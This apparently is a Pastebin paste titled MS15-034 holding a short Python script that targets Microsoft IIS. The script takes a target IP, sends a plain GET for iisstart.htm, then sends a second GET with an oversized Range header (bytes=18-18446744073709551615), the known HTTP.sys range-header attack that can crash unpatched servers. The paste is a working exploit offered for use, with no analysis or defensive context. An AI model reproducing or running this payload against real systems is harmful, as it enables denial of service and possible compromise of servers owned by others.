Guest User

MS15-034

a guest
Apr 15th, 2015
3,597
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Tested on Win Srv 2012R2.
  2. import socket,sys
  3.  
  4. if len(sys.argv)<=1:   
  5.  sys.exit('Give me an IP')
  6.  
  7. Host = sys.argv[1]
  8.  
  9. def SendPayload(Payload, Host):
  10.    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11.    s.connect((Host, 80))
  12.    s.send(Payload)
  13.    s.recv(1024)
  14.    s.close()
  15.  
  16. #Make sure iisstart.htm exist.
  17. Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
  18. Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
  19.  
  20. SendPayload(Init, Host)
  21. SendPayload(Payload, Host)
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×